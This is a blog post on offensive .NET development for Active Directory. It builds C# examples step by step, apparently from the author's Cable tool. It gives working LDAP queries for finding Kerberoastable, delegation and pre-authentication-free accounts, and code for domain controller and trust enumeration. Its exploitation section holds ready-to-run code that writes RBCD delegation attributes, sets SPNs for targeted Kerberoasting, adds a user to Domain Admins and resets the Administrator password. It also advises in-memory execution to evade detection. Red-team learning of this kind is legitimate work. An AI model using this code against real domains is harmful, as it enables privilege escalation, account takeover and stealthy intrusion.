.NET is a platform for application development created by Microsoft supporting programs written in a whole host of languages, usually in C#. There are a few versions of .NET, including .NET Framework, .NET Mono, and .NET Core, with the most interesting for offensive development being .NET Framework. This is because .NET Framework has the ability to run natively in Windows and Windows Server environments without the need for any additional dependency installation. Meaning by default it has the greatest operating-system compatibility for Windows and allows post-exploitation procedures natively by loading .NET assemblies in memory through a C2 channel using execute-assembly or inlineExecute-Assembly. Additionally, because .NET is a Microsoft product and Microsoft wants to ensure compatibility with adjacent products, there’s a large amount of previously built out methods, classes, and even entire namespaces to interact with Active Directory environments. This makes it one of the most optimal platforms to create tools for offensive operations on Active Directory environments to be used after gaining a successful foothold through an active C2 channel.

Recently I have been delving into offensive .NET and the abstraction it provides for interacting with Active Directory protocols, while simultaneously building out a tool called Cable to provide examples of how a few of the common Active Directory focused attacks can be executed from an offensive programmatic and tool development perspective. This is mostly so I can gain a greater understanding of how these attacks work on a lower-level and how .NET tooling is commonly developed, while also creating a medium to share my knowledge that others can learn from. Cable can be found on my Github. Note that all of these techniques showcased are likely not the only way to accomplish these tasks and are just the way I decided to execute these procedures. I’ll be trying to breakdown most of the code into parts for better understanding of the techniques.

These examples are not directly from the Cable project, but instead customized examples for the purpose of understanding the Active Directory interaction using the least amount of .NET required for simplicity sakes. For practical examples in an offensive tooling context consult the Cable Github repo.

Enumeration

Enumeration is by-far one of the most important procedures to conduct after gaining initial access, especially if you wish to move further into the Active Directory environment or escalate your privileges. Enumeration is how you find the vulnerabilities to do so, and utilizing stealthy Active Directory enumeration should be a top priority to find misconfigurations in the client environment while staying undetected. There is no better way to maintain stealth than to utilize the official Microsoft .NET namespaces for interacting with the various protocols required, ideally the interaction with these services would blend in with benign traffic from other operations within the network.

General LDAP Enumeration

General LDAP enumeration is quite streamlined from a .NET perspective, likely due to the reliance of Active Directory on LDAP. The System.DirectoryServices namespace has a number of pre-built functionality for interacting with specifically LDAP or LDAP(S). Not only this, but LDAP is the primary place for data storage in Active Directory environments, which means this first example is the most useful and flexible of all the briefly touched on enumeration techniques.

To begin LDAP enumeration first utilize the DirectoryEntry class in the System.DirectoryServices namespace to bind to the root of the LDAP service on the Domain Controller. The definition of this class in the MSDN states: “The DirectoryEntry class encapsulates a node or object in the Active Directory Domain Services hierarchy”. If we initialize a new instance of the DirectoryEntry class without a constructor specified we’ll automatically bind to the root of Active Directory Domain Services (ADDS) on the current domain with everything being handled in the background.

DirectoryEntry de = new DirectoryEntry();

We specifically need this DirectoryEntry object defined for the next step of enumeration, defining a DirectorySearcher object that we can interact with for control over the queries run on ADDS. We need to use the DirectoryEntry object we just defined: de to pass into DirectorySearcher class as a constructor so we can start our search from the root of ADDS.

DirectorySearcher ds = new DirectorySearcher(de);

We can then set the Filter property on this object, ds, to our LDAP query. The MSDN defines the Filter property on the DirectorySearcher class to “Get or set a value indicating the Lightweight Directory Access Protocol (LDAP) format filter string.”

For example we can set our LDAP query against ADDS to enumerate accounts with the servicePrincipalName attribute set, that are not disabled with the userAccountControl bit 2, are not the krbtgt domain account, and are domain users. The accounts resolved would be high value accounts very likely to be associated with services on the domain, and are also Kerberoastable.

ds.Filter = "(&(&(servicePrincipalName=*)(!samAccountName=krbtgt))(!useraccountcontrol:1.2.840.113556.1.4.803:=2)(samAccountType=805306368))";

Next we define a SearchResultCollection variable to hold our search results from the enumeration procedures and set it equal to the return value of the DirectorySearcher object’s FindAll() method, this method preforms the enumeration and returns us all the results. The MSDN’s description of the FindAll() method in the DirectorySearcher class is defined as: “Executes the search and returns a collection of the entries that are found.”

SearchResultCollection results = ds.FindAll();

After we’ve retrieved the SearchResultCollection value from the FindAll() method, the only thing left to do is parse the results of our query and display them in a readable manner.

We can iterate over each SearchResult value in SearchResultCollection with a foreach loop, and grab specific attributes and their values from the returned objects. Some of the main LDAP attributes to grab and display that come to mind as a baseline are samAccountName, objectSid, and distinguishedName. We can get a string value from the attributes for samAccountName and distinguishedName by referencing the first key in the SearchResult values Properties attribute and calling the ToString() method on it.

As for the objectSid attribute, it’s slightly different because the SID in Active Directory environments is stored as a binary value. So we’ll have to read it as a byte array and use it as a constructor to the a class used for handling SID’s, SecurityIdentifier in the System.Security.Principal namespace. We can then get the string value by referencing the Value property on that previously created SecurityIdentifier object.

foreach (SearchResult sr in results)
{
   
    Console.WriteLine("\nsamAccountName: " + sr.Properties["samAccountName"][0].ToString());

    SecurityIdentifier sid = new SecurityIdentifier(sr.Properties["objectSid"][0] as byte[], 0);
    Console.WriteLine("objectSid: " + sid.Value);

    Console.WriteLine("distinguishedName: " + sr.Properties["distinguishedName"][0].ToString());

}

After executing the program, it will authenticate automatically and bind to the ADDS root, then execute the LDAP query and return the results, which are then parsed and output using the foreach loop. Because LDAP is so ingrained into how Active Directory operates, while using this simple method of LDAP enumeration you can not only get a better understanding of the baseline collections of objects including users, groups, and Administrators, but much more impactful potential avenues of exploitation including principals who can delegate to other services as an example.

The full example code is supplied below:

DirectoryEntry de = new DirectoryEntry();
DirectorySearcher ds = new DirectorySearcher(de);
SearchResultCollection results = ds.FindAll();
foreach (SearchResult sr in results)
{
   
    Console.WriteLine("\nsamAccountName: " + sr.Properties["samAccountName"][0].ToString());
    SecurityIdentifier sid = new SecurityIdentifier(sr.Properties["objectSid"][0] as byte[], 0);
    Console.WriteLine("objectSid: " + sid.Value);
    Console.WriteLine("distinguishedName: " + sr.Properties["distinguishedName"][0].ToString());

}

A few other examples of ideal LDAP queries for enumeration are also listed below:

Objects Query
Domain users (&(ObjectCategory=person)(ObjectClass=user))
Domain computers (ObjectClass=computer)
Domain groups (ObjectCategory=group)
Group Policy objects (ObjectClass=groupPolicyContainer)
Users that do not require Kerberos pre-authentication (&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))
Admin accounts (&(admincount=1)(objectClass=user))
Accounts with unconstrained delegation (userAccountControl:1.2.840.113556.1.4.803:=524288)
Accounts with constrained delegation (msds-allowedtodelegateto=*)
Accounts with Resource-Based Constrained Delegation (RBCD) set (msds-allowedtoactonbehalfofotheridentity=*)

Enumerating Domain Controllers

Enumerating Domain Controllers, including knowing the addresses and versions of Domain Controllers in the current domain is a primary step in environmental understanding and gaining a better situational context. Enumerating domain controllers is quite easy, with only a few lines of code using the Domain, DomainController, and DomainControllerCollection classes in the System.DirectoryServices.ActiveDirectory namespace.

First we can get a Domain object by calling the GetCurrentDomain() method apart of the Domain class.

Domain domain = Domain.GetCurrentDomain();

We can utilize this Domain object to enumerate all the Domain Controllers in the current domain, using the FindAllDomainControllers() method. This returns us a DomainControllerCollection value.

DomainControllerCollection dcs = domain.FindAllDomainControllers();

Finally we can iterate over each Domain Controller object and gather information from it.

foreach (DomainController controller in dcs)
{
    Console.WriteLine("\n" + controller.Name + "\n===================");
    Console.WriteLine("IP: " + controller.IPAddress);
    Console.WriteLine("Version: " + controller.OSVersion + "\n");
}

When run, the code will enumerate the current domain, then enumerate the active Domain Controllers in the domain, and finally while iterating over each Domain Controller object it’ll display information such as IP address and operating system version for each.

The final example code is listed below:

Domain domain = Domain.GetCurrentDomain();
DomainControllerCollection dcs = domain.FindAllDomainControllers();
foreach (DomainController controller in dcs)
{
    Console.WriteLine("\n" + controller.Name + "\n===================");
    Console.WriteLine("IP: " + controller.IPAddress);
    Console.WriteLine("Version: " + controller.OSVersion + "\n");
}

Enumerating Trusts

Mapping trust relationships between domains can be extremely useful for understanding both operational and environmental context while attempting to gain a better understanding of the client network. Trust relationships define how resources can be shared between domains or forests, and how they interact with each other, meaning that successfully identifying the domain or forest trusts and their relationships can be paramount for lateral movement between the various potential assets in the environment. Just like Domain Controllers, enumerating trusts is extremely easy with built in capability for enumerating both forest and domain trusts.

To enumerate trusts between forests, first use the Forest class and the GetCurrentForest() method to return an object representing the current forest.

Forest forest = Forest.GetCurrentForest();

Then we can then use this object to get all the trust relationships between potential forests in the form of an TrustRelationshipInformationCollection using the GetAllTrustRelationships() method.

TrustRelationshipInformationCollection trusts = forest.GetAllTrustRelationships();

Finally just like the DomainControllerCollection object, we iterate through the trust collection object and display attributes of the object. This includes the source forest name, the target forest name, the trust direction, and the trust type.

foreach (TrustRelationshipInformation trust in trusts)
{
    Console.WriteLine("Source: " + trust.SourceName);
    Console.WriteLine("Target: " + trust.TargetName);
    Console.WriteLine("Direction: " + trust.TrustDirection);
    Console.WriteLine("Trust Type: " + trust.TrustType);

}

If your goal is to enumerate domain trusts instead of forest trusts you can instead get a Domain object using the GetCurrentDomain() method in the Domain class, and just like the Forest class, call GetAllTrustRelationships() to receive a collection object. Then iterate over it just like a forest trust information collection.

The example code for forest trust enumeration is listed below:

Forest forest = Forest.GetCurrentForest();
TrustRelationshipInformationCollection trusts = forest.GetAllTrustRelationships();

foreach (TrustRelationshipInformation trust in trusts)
{
    Console.WriteLine("Source: " + trust.SourceName);
    Console.WriteLine("Target: " + trust.TargetName);
    Console.WriteLine("Direction: " + trust.TrustDirection);
    Console.WriteLine("Trust Type: " + trust.TrustType);

}

Exploitation

Once vulnerabilities in an Active Directory environment have been identified, such as some Discretionary Access Control List (DACL) focused attack vectors using a tool such as Bloodhound, the next step is active exploitation of the vulnerability. This may include principal takeover using Resource-Based Constrained Delegation by modifying the msDs-AllowedToActOnBehalfOfOtherIdentity attribute, a targeted Kerberoasting attack by modifying the servicePrincipalName attribute, adding the current user context to a controlled group, or even a direct password change on an account if the privileges configured permit it. All the techniques covered in this section will be specifically DACL focused exploitation in Active Directory environments, due to its commonality.

Writing to msDs-AllowedToActOnBehalfOfOtherIdentity

As previously mentioned, writing to msDs-AllowedToActOnBehalfOfOtherIdentity with another accounts Security Identifier (SID) permits the account identified by the SID to delegate to the account which the attribute has been modified on, this is called Resource-Based Constrained Delegation (RBCD). This technique is especially important in the context of device takeover using overly permissive Access Control Entries (ACE) in Active Directory environments. While we may have GenericAll or GenericWrite over the target computer account, how do we actually exploit it? Using our write primitive we can write the SID of a previously controlled account with a servicePrincipalName set, potentially a newly added machine account (if the machineAccountQuota is greater than 0), then use that controlled computer to delegate to the target computer as whatever Active Directory principal we wish. Usually we would choose a user within the “Domain Admins” group for guaranteed command execution onto the target. Note: although we have delegation access to the target computer, we cannot use that context to authenticate to other resources in the domain as the user in “Domain Admins”, it’s just restricted to the target resource.

We can write the msDs-AllowedToActOnBehalfOfOtherIdentity attribute just as easy as we can read it using a large portion of the previously shown classes and method calls. We’ll first need a method for account to SID lookup since we need to write the SID of our controlled account to the target account. Note this step isn’t absolutely required if you wanted to enumerate and hardcode the SID yourself. I’ve built out a method to automate the action which takes the account we’d like to look up the SID for as a parameter and utilizes the same techniques shown in the enumeration section to return the designated SID associated with the account.

The code for the SID lookup method is shown below:

public static string accountToSidLookup(string account)
{
    SearchResultCollection results;

    DirectoryEntry de = new DirectoryEntry();
    DirectorySearcher ds = new DirectorySearcher(de);

    string query = "(samaccountname=" + account + ")";
    ds.Filter = query;
    results = ds.FindAll();
    string accountSid = null;

    foreach (SearchResult sr in results)
    {
        SecurityIdentifier sid = new SecurityIdentifier(sr.Properties["objectSid"][0] as byte[], 0);
        accountSid = sid.Value;
    }

    return accountSid;
}

We can now start our primary method for writing RBCD, starting off by utilizing the accountToSidLookup method above to enumerate the desired SID:

string sid = accountToSidLookup(account);

Using the RawSecurityDescriptor class in the System.Security.AccessControl namespace, we can create the binary representation of the msDs-AllowedToActOnBehalfOfOtherIdentity attribute including our desired SID and place it in the descriptor byte array.

RawSecurityDescriptor rsd = new RawSecurityDescriptor("O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid + ")");
Byte[] descriptor = new byte[rsd.BinaryLength];
rsd.GetBinaryForm(descriptor, 0);

Next, to write the attribute, we have to have a SearchResult object representing the target LDAP object. So we’re required again to use some previously covered topics from the enumeration section and find the LDAP object associated with the target by querying its samAccountName.

SearchResultCollection results;

DirectoryEntry de = new DirectoryEntry();
DirectorySearcher ds = new DirectorySearcher(de);

string query = "(samaccountname=" + target + ")";
ds.Filter = query;
results = ds.FindAll();

While only one object will be returned, I opted to use a foreach loop for ease of access to the SearchResult object in the returned SearchResultCollection. We need to get the directory entry of the SearchResult, we can do this by calling the GetDirectoryEntry() method on it. Then we can call the Add() method to add the descriptor to the specified attribute, in this case msDs-AllowedToActOnBehalfOfOtherIdentity. Finally call the CommitChanges() method to save the changes.

 foreach (SearchResult sr in results)
 {
     DirectoryEntry mde = sr.GetDirectoryEntry();
     mde.Properties["msds-allowedtoactonbehalfofotheridentity"].Add(descriptor);
     mde.CommitChanges();
 }

Now that the msDs-AllowedToActOnBehalfOfOtherIdentity attribute has been modified, a service ticket can be requested for the target account from the controlled account using Service for User to Proxy (S4U2Proxy), which requires a forwardable Ticket Granting Ticket (TGT) from a Service for User to Self (S4U2Self) to impersonate whichever desired user account. This process is the next step of the RBCD attack, which will not be covered with a code example.

The full example code is listed below:

public static string accountToSidLookup(string account)
{
    SearchResultCollection results;

    DirectoryEntry de = new DirectoryEntry();
    DirectorySearcher ds = new DirectorySearcher(de);

    string query = "(samaccountname=" + account + ")";
    ds.Filter = query;
    results = ds.FindAll();
    string accountSid = null;

    foreach (SearchResult sr in results)
    {
        SecurityIdentifier sid = new SecurityIdentifier(sr.Properties["objectSid"][0] as byte[], 0);
        accountSid = sid.Value;
    }

    return accountSid;
}

static void Main(string[] args)
{

    string account = "MS$"; // Change this
    string target = "DC$";  // Change this
    string sid = accountToSidLookup(account);

    RawSecurityDescriptor rsd = new RawSecurityDescriptor("O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid + ")");
    Byte[] descriptor = new byte[rsd.BinaryLength];
    rsd.GetBinaryForm(descriptor, 0);

    SearchResultCollection results;
    DirectoryEntry de = new DirectoryEntry();
    DirectorySearcher ds = new DirectorySearcher(de);

    string query = "(samaccountname=" + target + ")";
    ds.Filter = query;
    results = ds.FindAll();

    foreach (SearchResult sr in results)
    {
        DirectoryEntry mde = sr.GetDirectoryEntry();
        mde.Properties["msds-allowedtoactonbehalfofotheridentity"].Add(descriptor);
        mde.CommitChanges();
    }
}

Writing to servicePrincipalName

Writing to the servicePrincipalName attribute is a step utilized as apart of a targeted Kerberoasting attack, where after writing to the servicePrincipalName attribute any domain user has the ability to request a service ticket for the target user. This gives such a domain user the ability to gain access to the accounts plaintext credentials (if they’re weak) due to the service ticket requested being encrypted with the target accounts hash.

Writing to the servicePrincipalName attribute is exactly like writing msDs-AllowedToActOnBehalfOfOtherIdentity except without a large portion of the steps for gathering a valid SID. First we’ll need to gather a SearchResult for the target object, then gather an associated DirectoryEntry object to interact with. Next call the Add() method just like the previous section on the specified attribute while passing in the desired value. Finally call CommitChanges() to save.

The full code for this example is below:

SearchResultCollection results;

DirectoryEntry de = new DirectoryEntry();
DirectorySearcher ds = new DirectorySearcher(de);

string user = "Administrator"; // Change this
string spn = "spn/spn";        // Change this

string query = "(samaccountname=" + user + ")";
ds.Filter = query;
results = ds.FindAll();

foreach (SearchResult sr in results)
{
    DirectoryEntry mde = sr.GetDirectoryEntry();
    mde.Properties["serviceprincipalname"].Add(spn);
    mde.CommitChanges();
}

Group Exploitation

Having a write primitive over a group object because of a permissive Access Control Entry (ACE) allows us to add users to that group, for example our own user. This group which we have write access to could also hold additional privileges in the Active Directory environment, furthering our access and allowing us to potentially interact with more resources or laterally move. While you may be thinking the obvious exploitation method for this technique would to just use the built in Windows utility net.exe, for operational security (OPSEC) considerations executing the group adding procedure using a .NET assembly in memory is much less likely to get detected. These OPSEC considerations include the fact that you might be required to spawn cmd.exe or powershell.exe to execute net.exe, which is commonly flagged and very likely logged.

The System.DirectoryServices.AccountManagement namespace has some capability we can utilize to add our current user or any other user to a group which we have control over. Adding any user to a target group can be done in four simple lines.

First we’re required to create a PrincipalContext object by instantiating a new PrincipalContext class with the ContextType of Domain passed in as a constructor.

PrincipalContext ctx = new PrincipalContext(ContextType.Domain);

We can then use this context as a parameter along with the target group in the FindByIdentity() method in the GroupPrincipal class to create a GroupPrincipal object which represents the target group that we can freely interact with.

GroupPrincipal groupPrincipal = GroupPrincipal.FindByIdentity(ctx, group);

Finally we can use the Add() method while passing in a specified user as a member of the target group and using the previously created context with SamAccountName as the IdentityType. Then save our changes by calling the Save() method.

groupPrincipal.Members.Add(ctx, IdentityType.SamAccountName, user);
groupPrincipal.Save();

The full example code is listed below:

string group = "Domain Admins"; // Change this
string user = "jdoe";           // Change this

PrincipalContext ctx = new PrincipalContext(ContextType.Domain);
GroupPrincipal groupPrincipal = GroupPrincipal.FindByIdentity(ctx, group);
groupPrincipal.Members.Add(ctx, IdentityType.SamAccountName, user);
groupPrincipal.Save();

Changing Passwords

While it is a quite disruptive action to change a users password while having no knowledge of their previous password mostly due to the possibility of account lockout for the end user, it is still a possibility of account access given a write primitive on an account or having ForceChangePassword set. Just like permissive ACE’s leading to group exploitation, this procedure could be done quite a few ways, including usage of the net.exe binary. Remember, utilizing raw command execution for a procedure such as this has bad OPSEC considerations. Just like group ACE exploitation its recommended to execute a .NET assembly in memory to preform exploitation.

Once again, changing passwords for accounts utilizes a large portion of previous topics covered in this blog post.

First we’ll need to gather a SearchResult object and associated DirectoryEntry object which represents the target account that we can freely interact with, we can use our previous methods that we covered for interacting with LDAP. Then finally call the Invoke method on the DirectoryEntry object, according to the MSDN this will “call a method on the native Active Directory Domain Services object.”, in our case changing the password for the target object.

The full code for this example is below:

string user = "Administrator"; // Change this
string password = "P@ssw0rd";  // Change this

SearchResultCollection results;

DirectoryEntry de = new DirectoryEntry();
DirectorySearcher ds = new DirectorySearcher(de);

string query = "(samaccountname=" + user + ")";
ds.Filter = query;
results = ds.FindAll();
foreach (SearchResult sr in results)
{
    DirectoryEntry mde = sr.GetDirectoryEntry();
    mde.Invoke("SetPassword", new object[] { password });
}

Conclusion

Previously built Microsoft .NET capabilities and abstraction usually used for performing common tasks in an Active Directory environment can be just as easily utilized for offensive purposes. This, combined with the ease of executing .NET assemblies in memory makes Active Directory focused tooling written in .NET easy to create and quite effective at stealthy interaction. One of the only factors that could be seen as a downside to using Active Directory interaction with .NET is the inevitable reality of attempting an action for which pre-created abstraction is not engineered, which might require you to create your own capability. Although yes, .NET cannot do everything, this is not necessarily a downside since such an action would require the same customization just the same in another language.

All the code used in this post are fully customized examples for demonstration purposes, please visit Cable’s GitHub repo for practical examples.